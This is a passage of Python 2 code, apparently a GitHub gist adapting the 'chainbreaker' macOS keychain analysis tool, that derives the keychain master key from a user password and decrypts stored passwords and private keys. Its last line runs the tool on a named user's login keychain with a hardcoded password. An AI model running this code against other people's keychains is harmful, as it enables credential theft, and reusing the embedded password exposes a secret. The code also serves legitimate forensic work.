RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_X509_CERT_HEADER)], _X509_CERT_HEADER) | |
x509Certificate = self.fbuf[BASE_ADDR + sizeof(_X509_CERT_HEADER):BASE_ADDR + sizeof(_X509_CERT_HEADER) + RecordMeta.CertSize] | |
record.append(self.getInt(BASE_ADDR, RecordMeta.CertType & 0xFFFFFFFE)) # Cert Type | |
record.append(self.getInt(BASE_ADDR, RecordMeta.CertEncoding & 0xFFFFFFFE)) # Cert Encoding | |
record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Subject & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Issuer & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.SerialNumber & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.SubjectKeyIdentifier & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.PublicKeyHash & 0xFFFFFFFE)) | |
record.append(x509Certificate) | |
return record | |
def getKeyRecord(self, base_addr, offset): ## PUBLIC and PRIVATE KEY | |
record = [] | |
BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset | |
RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_SECKEY_HEADER)], _SECKEY_HEADER) | |
KeyBlob = self.fbuf[BASE_ADDR + sizeof(_SECKEY_HEADER):BASE_ADDR + sizeof(_SECKEY_HEADER) + RecordMeta.BlobSize] | |
record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Label & 0xFFFFFFFE)) | |
record.append(self.getInt(BASE_ADDR, RecordMeta.KeyClass & 0xFFFFFFFE)) | |
record.append(self.getInt(BASE_ADDR, RecordMeta.Private & 0xFFFFFFFE)) | |
record.append(self.getInt(BASE_ADDR, RecordMeta.KeyType & 0xFFFFFFFE)) | |
record.append(self.getInt(BASE_ADDR, RecordMeta.KeySizeInBits & 0xFFFFFFFE)) | |
record.append(self.getInt(BASE_ADDR, RecordMeta.EffectiveKeySize & 0xFFFFFFFE)) | |
record.append(self.getInt(BASE_ADDR, RecordMeta.Extractable & 0xFFFFFFFE)) | |
record.append(str(self.getLV(BASE_ADDR, RecordMeta.KeyCreator & 0xFFFFFFFE)).split('\x00')[0]) | |
IV, Key = self.getEncryptedDatainBlob(KeyBlob) | |
record.append(IV) | |
record.append(Key) | |
return record | |
def getEncryptedDatainBlob(self, BlobBuf): | |
magicNumber = 0xFADE0711 | |
IVSize = 8 | |
EncryptedBlobMeta = _memcpy(BlobBuf[:sizeof(_ENCRYPTED_BLOB_METADATA)], _ENCRYPTED_BLOB_METADATA) | |
if EncryptedBlobMeta.MagicNumber != magicNumber: | |
return '', '' | |
KeyData = BlobBuf[EncryptedBlobMeta.StartOffset:EncryptedBlobMeta.EndOffset] | |
IV = BlobBuf[sizeof(_ENCRYPTED_BLOB_METADATA):sizeof(_ENCRYPTED_BLOB_METADATA)+IVSize] | |
return IV, KeyData # IV, Encrypted Data | |
def getKeychainTime(self, BASE_ADDR, pCol): | |
if pCol <= 0: | |
return '' | |
else: | |
data = str(struct.unpack('>16s', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + struct.calcsize('>16s')])[0]) | |
return datetime.datetime.strptime(data.strip('\x00'), '%Y%m%d%H%M%SZ') | |
def getInt(self, BASE_ADDR, pCol): | |
if pCol <= 0: | |
return 0 | |
else: | |
return struct.unpack('>I', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + 4])[0] | |
def getFourCharCode(self, BASE_ADDR, pCol): | |
if pCol <= 0: | |
return '' | |
else: | |
return struct.unpack('>4s', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + 4])[0] | |
def getLV(self, BASE_ADDR, pCol): | |
if pCol <= 0: | |
return '' | |
str_length = struct.unpack('>I', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + 4])[0] | |
# 4byte arrangement | |
if (str_length % 4) == 0: | |
real_str_len = (str_length / 4) * 4 | |
else: | |
real_str_len = ((str_length / 4) + 1) * 4 | |
unpack_value = '>' + str(real_str_len) + 's' | |
try: | |
data = struct.unpack(unpack_value, self.fbuf[BASE_ADDR + pCol + 4:BASE_ADDR + pCol + 4 + real_str_len])[0] | |
except struct.error: | |
print 'Length is too long : %d'%real_str_len | |
return '' | |
return data | |
def getAppleshareRecord(self, base_addr, offset): | |
record = [] | |
BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset | |
RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_INTERNET_PW_HEADER)], _INTERNET_PW_HEADER) | |
Buffer = self.fbuf[BASE_ADDR + sizeof(_INTERNET_PW_HEADER):BASE_ADDR + RecordMeta.RecordSize] | |
if RecordMeta.SSGPArea != 0: | |
record.append(Buffer[:RecordMeta.SSGPArea]) | |
else: | |
record.append('') | |
record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.CreationDate & 0xFFFFFFFE)) | |
record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.ModDate & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Description & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Comment & 0xFFFFFFFE)) | |
record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Creator & 0xFFFFFFFE)) | |
record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Type & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Protected & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Account & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Volume & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Server & 0xFFFFFFFE)) | |
record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Protocol & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Address & 0xFFFFFFFE)) | |
record.append(self.getLV(BASE_ADDR, RecordMeta.Signature & 0xFFFFFFFE)) | |
return record | |
## decrypted dbblob area | |
## Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT | |
## http://www.opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-36620/lib/StorageManager.cpp | |
def DBBlobDecryption(self, securestoragegroup, dbkey): | |
iv = securestoragegroup[20:28] | |
plain = kcdecrypt(dbkey, iv, securestoragegroup[28:]) | |
return plain | |
# Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT | |
# source : http://www.opensource.apple.com/source/libsecurity_cdsa_client/libsecurity_cdsa_client-36213/lib/securestorage.cpp | |
# magicCmsIV : http://www.opensource.apple.com/source/Security/Security-28/AppleCSP/AppleCSP/wrapKeyCms.cpp | |
def KeyblobDecryption(self, encryptedblob, iv, dbkey): | |
magicCmsIV = unhexlify('4adda22c79e82105') | |
plain = kcdecrypt(dbkey, magicCmsIV, encryptedblob) | |
if plain.__len__() == 0: | |
return '' | |
# now we handle the unwrapping. we need to take the first 32 bytes, | |
# and reverse them. | |
revplain = '' | |
for i in range(32): | |
revplain += plain[31 - i] | |
# now the real key gets found. */ | |
plain = kcdecrypt(dbkey, iv, revplain) | |
keyblob = plain[4:] | |
if len(keyblob) != KEYLEN: | |
#raise "Bad decrypted keylen!" | |
return '' | |
return keyblob | |
# test code | |
#http://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55044/lib/KeyItem.cpp | |
def PrivateKeyDecryption(self, encryptedblob, iv, dbkey): | |
magicCmsIV = unhexlify('4adda22c79e82105') | |
plain = kcdecrypt(dbkey, magicCmsIV, encryptedblob) | |
if plain.__len__() == 0: | |
return '' | |
# now we handle the unwrapping. we need to take the first 32 bytes, | |
# and reverse them. | |
revplain = '' | |
for i in range(len(plain)): | |
revplain += plain[len(plain)-1 - i] | |
# now the real key gets found. */ | |
plain = kcdecrypt(dbkey, iv, revplain) | |
#hexdump(plain) | |
Keyname = plain[:12] # Copied Buffer when user click on right and copy a key on Keychain Access | |
keyblob = plain[12:] | |
return Keyname, keyblob | |
## Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT | |
def generateMasterKey(self, pw, symmetrickey_offset): | |
base_addr = sizeof(_APPL_DB_HEADER) + symmetrickey_offset + 0x38 # header | |
# salt | |
SALTLEN = 20 | |
salt = self.fbuf[base_addr + 44:base_addr + 44 + SALTLEN] | |
masterkey = pbkdf2(pw, salt, 1000, KEYLEN) | |
return masterkey | |
## find DBBlob and extract Wrapping key | |
def findWrappingKey(self, master, symmetrickey_offset): | |
base_addr = sizeof(_APPL_DB_HEADER) + symmetrickey_offset + 0x38 | |
# startCryptoBlob | |
cipher_text_offset = struct.unpack('>I', self.fbuf[base_addr + 8:base_addr + 8 + ATOM_SIZE])[0] | |
# totalength | |
totallength = struct.unpack('>I', self.fbuf[base_addr + 12:base_addr + 12 + ATOM_SIZE])[0] | |
# IV | |
IVLEN = 8 | |
iv = self.fbuf[base_addr + 64:base_addr + 64 + IVLEN] | |
# get cipher text area | |
ciphertext = self.fbuf[base_addr + cipher_text_offset:base_addr + totallength] | |
# decrypt the key | |
plain = kcdecrypt(master, iv, ciphertext) | |
if plain.__len__() == 0: | |
return '' | |
dbkey = plain[0:KEYLEN] | |
# return encrypted wrapping key | |
return dbkey | |
# SOURCE : extractkeychain.py | |
def kcdecrypt(key, iv, data): | |
if len(data) == 0: | |
#print>>stderr, "FileSize is 0" | |
return data | |
if len(data) % BLOCKSIZE != 0: | |
return data | |
cipher = triple_des(key, CBC, iv) | |
# the line below is for pycrypto instead | |
#cipher = DES3.new( key, DES3.MODE_CBC, iv ) | |
plain = cipher.decrypt(data) | |
# now check padding | |
pad = ord(plain[-1]) | |
if pad > 8: | |
#print>> stderr, "Bad padding byte. You probably have a wrong password" | |
return '' | |
for z in plain[-pad:]: | |
if ord(z) != pad: | |
#print>> stderr, "Bad padding. You probably have a wrong password" | |
return '' | |
plain = plain[:-pad] | |
return plain | |
def chainbreaker(file, password, key=''): | |
parser = argparse.ArgumentParser(description='Tool for OS X Keychain Analysis by @n0fate') | |
parser.add_argument('-f', '--file', nargs=1, help='Keychain file(*.keychain)', required=True) | |
parser.add_argument('-x', '--exportfile', nargs=1, help='Export a filename (SQLite, optional)', required=False) | |
group = parser.add_mutually_exclusive_group(required=True) | |
group.add_argument('-k', '--key', nargs=1, help='Masterkey candidate', required=False) | |
group.add_argument('-p', '--password', nargs=1, help='User Password', required=False) | |
if os.path.exists(file) is False: | |
print '[!] ERROR: Keychain is not exists' | |
parser.print_help() | |
exit() | |
keychain = KeyChain(file) | |
if keychain.open() is False: | |
print '[!] ERROR: %s Open Failed'%file | |
parser.print_help() | |
exit() | |
KeychainHeader = keychain.getHeader() | |
if KeychainHeader.Signature != KEYCHAIN_SIGNATURE: | |
print '[!] ERROR: Invalid Keychain Format' | |
parser.print_help() | |
exit() | |
SchemaInfo, TableList = keychain.getSchemaInfo(KeychainHeader.SchemaOffset) | |
TableMetadata, RecordList = keychain.getTable(TableList[0]) | |
tableCount, tableEnum = keychain.getTablenametoList(RecordList, TableList) | |
# generate database key | |
if password is not None: | |
masterkey = keychain.generateMasterKey(password, TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]]) | |
dbkey = keychain.findWrappingKey(masterkey, TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]]) | |
elif key is not None: | |
dbkey = keychain.findWrappingKey(unhexlify(key), TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]]) | |
else: | |
print '[!] ERROR: password or master key candidate' | |
exit() | |
# DEBUG | |
print ' [-] DB Key' | |
hexdump(dbkey) | |
key_list = {} # keyblob list | |
# get symmetric key blob | |
print '[+] Symmetric Key Table: 0x%.8x' % (sizeof(_APPL_DB_HEADER) + TableList[tableEnum[CSSM_DL_DB_RECORD_SYMMETRIC_KEY]]) | |
TableMetadata, symmetrickey_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_SYMMETRIC_KEY]]) | |
for symmetrickey_record in symmetrickey_list: | |
keyblob, ciphertext, iv, return_value = keychain.getKeyblobRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_SYMMETRIC_KEY]], | |
symmetrickey_record) | |
if return_value == 0: | |
passwd = keychain.KeyblobDecryption(ciphertext, iv, dbkey) | |
if passwd != '': | |
key_list[keyblob] = passwd | |
try: | |
TableMetadata, genericpw_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_GENERIC_PASSWORD]]) | |
for genericpw in genericpw_list: | |
record = keychain.getGenericPWRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_GENERIC_PASSWORD]], genericpw) | |
print '[+] Generic Password Record' | |
try: | |
real_key = key_list[record[0][0:20]] | |
passwd = keychain.DBBlobDecryption(record[0], real_key) | |
except KeyError: | |
passwd = '' | |
print ' [-] Create DateTime: %s' % record[1] # 16byte string | |
print ' [-] Last Modified DateTime: %s' % record[2] # 16byte string | |
print ' [-] Description : %s' % record[3] | |
print ' [-] Creator : %s' % record[4] | |
print ' [-] Type : %s' % record[5] | |
print ' [-] PrintName : %s' % record[6] | |
print ' [-] Alias : %s' % record[7] | |
print ' [-] Account : %s' % record[8] | |
print ' [-] Service : %s' % record[9] | |
print ' [-] Password' | |
hexdump(passwd) | |
print '' | |
except KeyError: | |
print '[!] Generic Password Table is not available' | |
pass | |
try: | |
TableMetadata, internetpw_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_INTERNET_PASSWORD]]) | |
for internetpw in internetpw_list: | |
record = keychain.getInternetPWRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_INTERNET_PASSWORD]], internetpw) | |
print '[+] Internet Record' | |
try: | |
real_key = key_list[record[0][0:20]] | |
passwd = keychain.DBBlobDecryption(record[0], real_key) | |
except KeyError: | |
passwd = '' | |
print ' [-] Create DateTime: %s' % record[1] # 16byte string | |
print ' [-] Last Modified DateTime: %s' % record[2] # 16byte string | |
print ' [-] Description : %s' % record[3] | |
print ' [-] Comment : %s' % record[4] | |
print ' [-] Creator : %s' % record[5] | |
print ' [-] Type : %s' % record[6] | |
print ' [-] PrintName : %s' % record[7] | |
print ' [-] Alias : %s' % record[8] | |
print ' [-] Protected : %s' % record[9] | |
print ' [-] Account : %s' % record[10] | |
print ' [-] SecurityDomain : %s' % record[11] | |
print ' [-] Server : %s' % record[12] | |
try: | |
print ' [-] Protocol Type : %s' % PROTOCOL_TYPE[record[13]] | |
except KeyError: | |
print ' [-] Protocol Type : %s' % record[13] | |
try: | |
print ' [-] Auth Type : %s' % AUTH_TYPE[record[14]] | |
except KeyError: | |
print ' [-] Auth Type : %s' % record[14] | |
print ' [-] Port : %d' % record[15] | |
print ' [-] Path : %s' % record[16] | |
print ' [-] Password' | |
hexdump(passwd) | |
print '' | |
except KeyError: | |
print '[!] Internet Password Table is not available' | |
pass | |
try: | |
TableMetadata, applesharepw_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_APPLESHARE_PASSWORD]]) | |
for applesharepw in applesharepw_list: | |
record = keychain.getAppleshareRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_APPLESHARE_PASSWORD]], applesharepw) | |
print '[+] AppleShare Record (no more used OS X)' | |
try: | |
real_key = key_list[record[0][0:20]] | |
passwd = keychain.DBBlobDecryption(record[0], real_key) | |
except KeyError: | |
passwd = '' | |
#print '' | |
print ' [-] Create DateTime: %s' % record[1] # 16byte string | |
print ' [-] Last Modified DateTime: %s' % record[2] # 16byte string | |
print ' [-] Description : %s' % record[3] | |
print ' [-] Comment : %s' % record[4] | |
print ' [-] Creator : %s' % record[5] | |
print ' [-] Type : %s' % record[6] | |
print ' [-] PrintName : %s' % record[7] | |
print ' [-] Alias : %s' % record[8] | |
print ' [-] Protected : %s' % record[9] | |
print ' [-] Account : %s' % record[10] | |
print ' [-] Volume : %s' % record[11] | |
print ' [-] Server : %s' % record[12] | |
try: | |
print ' [-] Protocol Type : %s' % PROTOCOL_TYPE[record[13]] | |
except KeyError: | |
print ' [-] Protocol Type : %s' % record[13] | |
print ' [-] Address : %d' % record[14] | |
print ' [-] Signature : %s' % record[15] | |
print ' [-] Password' | |
hexdump(passwd) | |
print '' | |
except KeyError: | |
print '[!] AppleShare Table is not available' | |
pass | |
try: | |
TableMetadata, x509CertList = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_X509_CERTIFICATE]]) | |
for x509Cert in x509CertList: | |
record = keychain.getx509Record(TableList[tableEnum[CSSM_DL_DB_RECORD_X509_CERTIFICATE]], x509Cert) | |
print ' [-] Cert Type: %s' %CERT_TYPE[record[0]] | |
print ' [-] Cert Encoding: %s' %CERT_ENCODING[record[1]] | |
print ' [-] PrintName : %s' % record[2] | |
print ' [-] Alias : %s' % record[3] | |
print ' [-] Subject' | |
hexdump(record[4]) | |
print ' [-] Issuer :' | |
hexdump(record[5]) | |
print ' [-] SerialNumber' | |
hexdump(record[6]) | |
print ' [-] SubjectKeyIdentifier' | |
hexdump(record[7]) | |
print ' [-] Public Key Hash' | |
hexdump(record[8]) | |
print ' [-] Certificate' | |
hexdump(record[9]) | |
print '' | |
except KeyError: | |
print '[!] Certification Table is not available' | |
pass | |
try: | |
TableMetadata, PublicKeyList = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_PUBLIC_KEY]]) | |
for PublicKey in PublicKeyList: | |
record = keychain.getKeyRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_PUBLIC_KEY]], PublicKey) | |
print '[+] Public Key Record' | |
print ' [-] PrintName: %s' %record[0] | |
print ' [-] Label' | |
hexdump(record[1]) | |
print ' [-] Key Class : %s'%KEY_TYPE[record[2]] | |
print ' [-] Private : %d'%record[3] | |
print ' [-] Key Type : %s'%CSSM_ALGORITHMS[record[4]] | |
print ' [-] Key Size : %d bits'%record[5] | |
print ' [-] Effective Key Size : %d bits'%record[6] | |
print ' [-] Extracted : %d'%record[7] | |
print ' [-] CSSM Type : %s' %STD_APPLE_ADDIN_MODULE[record[8]] | |
print ' [-] Public Key' | |
hexdump(record[10]) | |
except KeyError: | |
print '[!] Public Key Table is not available' | |
pass | |
try: | |
table_meta, PrivateKeyList = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_PRIVATE_KEY]]) | |
for PrivateKey in PrivateKeyList: | |
record = keychain.getKeyRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_PRIVATE_KEY]], PrivateKey) | |
print '[+] Private Key Record' | |
print ' [-] PrintName: %s' % record[0] | |
print ' [-] Label' | |
hexdump(record[1]) | |
print ' [-] Key Class : %s' % KEY_TYPE[record[2]] | |
print ' [-] Private : %d' % record[3] | |
print ' [-] Key Type : %s' % CSSM_ALGORITHMS[record[4]] | |
print ' [-] Key Size : %d bits' % record[5] | |
print ' [-] Effective Key Size : %d bits' % record[6] | |
print ' [-] Extracted : %d' % record[7] | |
print ' [-] CSSM Type : %s' % STD_APPLE_ADDIN_MODULE[record[8]] | |
keyname, privatekey = keychain.PrivateKeyDecryption(record[10], record[9], dbkey) | |
print ' [-] Key Name' | |
hexdump(keyname) | |
print ' [-] Decrypted Private Key' | |
hexdump(privatekey) | |
except KeyError: | |
print '[!] Private Key Table is not available' | |
pass | |
exit() | |
chainbreaker('/Users/AlexRymdeko-Harvey/Library/Keychains/login.keychain', '831283128312_AA_aa', key='') | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment